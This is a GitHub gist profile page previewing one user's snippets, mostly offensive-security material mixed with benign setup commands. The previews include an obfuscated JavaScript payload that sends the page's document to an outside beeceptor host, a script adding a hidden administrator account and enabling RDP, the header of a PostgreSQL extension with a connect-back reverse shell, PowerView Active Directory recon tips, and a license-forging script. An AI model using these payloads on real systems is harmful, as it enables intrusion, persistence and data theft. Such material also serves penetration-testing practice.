Skip to content

Instantly share code, notes, and snippets.

View sahruldotid's full-sized avatar

Syahrul Akbar Rohmani sahruldotid

View GitHub Profile
iptables -t nat -A OUTPUT -p tcp --dport 80 -j DNAT --to-destination 192.168.1.100:1337
iptables -t nat -A OUTPUT -p tcp --dport 443 -j DNAT --to-destination 192.168.1.100:1337
sudo apt install bison build-essential cmake flex gcc gi-docgen gobject-introspection gperf gstreamer1.0-alsa gstreamer1.0-gl gstreamer1.0-gtk3 gstreamer1.0-libav gstreamer1.0-plugins-bad gstreamer1.0-plugins-base gstreamer1.0-plugins-good gstreamer1.0-plugins-ugly gstreamer1.0-pulseaudio gstreamer1.0-qt5 gstreamer1.0-tools gstreamer1.0-x htop libavif-dev libegl1-mesa libegl1-mesa-dev libenchant-2-dev libenchant-dev libgirepository1.0-dev libgl1 libgl1-mesa-dri libgles2-mesa-dev libgnutls28-dev libgstreamer-plugins-bad1.0-dev libgstreamer-plugins-base1.0-dev libgstreamer1.0-dev libgtk-3-dev libgtk2.0-dev libhyphen-dev libjxl libjxl-dev libnotify-dev libopenjp2-7-dev libopenwebrtc-dev libseccomp-dev libsecret-1-dev libsecret-dev libsoup-2.4-dev libsoup-3.0-dev libsoup2.4-dev libssl-dev libsystemd-dev libwayland-dev libwoff-dev libwpd-dev libwpe libwpe-1.0-dev libwpe-dev libwpebackend-fdo-1.0-dev libxkbcommon-dev libxlst libxslt-dev libxt-dev mason mesa-utils meson ninja-build openssl python3 python3-ensurepip
:: Set "Old" Explorer Context Menu as Default
reg add "HKEY_CURRENT_USER\SOFTWARE\CLASSES\CLSID\{86ca1aa0-34aa-4e8b-a509-50c905bae2a2}\InprocServer32" /ve /f
:: Remove Explorer "Command Bar"
reg add "HKCU\Software\Classes\CLSID\{d93ed569-3b3e-4bff-8355-3c44f6a52bb5}\InprocServer32" /f /ve
:: Remove Search shit
reg add "HKCU\Software\Policies\Microsoft\Windows\Explorer" /v DisableSearchBoxSuggestions /t REG_DWORD /d 1 /f
payload =
'fetch("https://amongus.free.beeceptor.com/document?val=".concat(encodeURI(document)))';
const str = btoa(payload);
const codes = [...str].map((c) => c.charCodeAt(0)).join(",");
const expression = `eval(atob(String.fromCharCode(${codes})))`;
console.log(expression);
console.log("-----");
var data;
@sahruldotid
sahruldotid / PowerView-3.0-tricks.ps1
Created October 19, 2024 02:26 — forked from HarmJ0y/PowerView-3.0-tricks.ps1
PowerView-3.0 tips and tricks
# PowerView's last major overhaul is detailed here: http://www.harmj0y.net/blog/powershell/make-powerview-great-again/
# tricks for the 'old' PowerView are at https://gist.github.com/HarmJ0y/3328d954607d71362e3c
# the most up-to-date version of PowerView will always be in the dev branch of PowerSploit:
# https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
# New function naming schema:
# Verbs:
# Get : retrieve full raw data sets
# Find : ‘find’ specific data entries in a data set
import json
import hashlib
import os
license = {
"header": {"version": 1},
"payload": {
"name": "meow :3",
"email": "[email protected]",
"licenses": [
@sahruldotid
sahruldotid / rdp.ps1
Created June 13, 2024 07:21
RDP Enabler
net user syahrul syahrul /add
net localgroup administrators syahrul /add
Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server' -name "fDenyTSConnections" -value 0
Enable-NetFirewallRule -DisplayGroup "Remote Desktop"
haha
/*
pgpwn.c
date: 23/11/2016
Developed by: mr_me
Synopsis:
=========
This code creates a postgres extension that registers a connect_back() function
<VirtualHost *:80>
ServerAdmin [email protected]
DocumentRoot "/var/www/html/"
ServerName atutor.syahrul.dev
ServerAlias atutor.syahrul.dev
ErrorLog "/var/log/apache2/atutor.syahrul.dev-error_log"
CustomLog "/var/log/apache2/atutor.syahrul.dev-access_log" combined
<Directory "/var/www/html/">
DirectoryIndex index.html index.php